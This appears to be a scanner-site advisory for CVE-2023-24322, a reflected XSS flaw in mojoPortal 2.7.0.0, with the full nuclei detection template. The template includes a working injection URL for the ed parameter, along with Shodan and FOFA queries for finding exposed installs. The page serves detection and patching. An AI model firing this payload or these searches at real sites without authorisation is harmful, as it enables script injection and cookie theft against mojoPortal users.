mojoPortal 2.7.0.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

31.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

mojoPortal 2.7.0.0 contains a cross-site scripting vulnerability in the FileDialog.aspx component, which can allow an attacker to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.

Impact

Unauthenticated attackers can inject malicious JavaScript through the ed and tbi parameters in FileDialog.aspx to steal user session cookies and execute attacks against mojoPortal users.

Fix

Upgrade to a patched version of mojoPortal or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Dialog/FileDialog.aspx?ed=foooooooooooooo%27);});});javascript:alert('document.domain');//g
Positive when: contains "javascript:alert('document.domain')" and "File Browser" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-24322 -u <target>

The full check

id: CVE-2023-24322

info:
  name: mojoPortal 2.7.0.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    mojoPortal 2.7.0.0 contains a cross-site scripting vulnerability in the FileDialog.aspx component, which can allow an attacker to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the ed and tbi parameters in FileDialog.aspx to steal user session cookies and execute attacks against mojoPortal users.
  remediation: |
    Upgrade to a patched version of mojoPortal or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/blakduk/Advisories/blob/main/Mojoportal/README.md
    - https://github.com/i7MEDIA/mojoportal/
    - https://www.mojoportal.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24322
    - https://github.com/blakduk/Advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24322
    cwe-id: CWE-79
    epss-score: 0.31714
    epss-percentile: 0.9831
    cpe: cpe:2.3:a:mojoportal:mojoportal:2.7.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mojoportal
    product: mojoportal
    shodan-query:
      - html:"mojoPortal"
      - http.html:"mojoportal"
    fofa-query: body="mojoportal"
  tags: cve,cve2023,mojoportal,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Dialog/FileDialog.aspx?ed=foooooooooooooo%27);});});javascript:alert('document.domain');//g"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "javascript:alert('document.domain')"
          - "File Browser"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from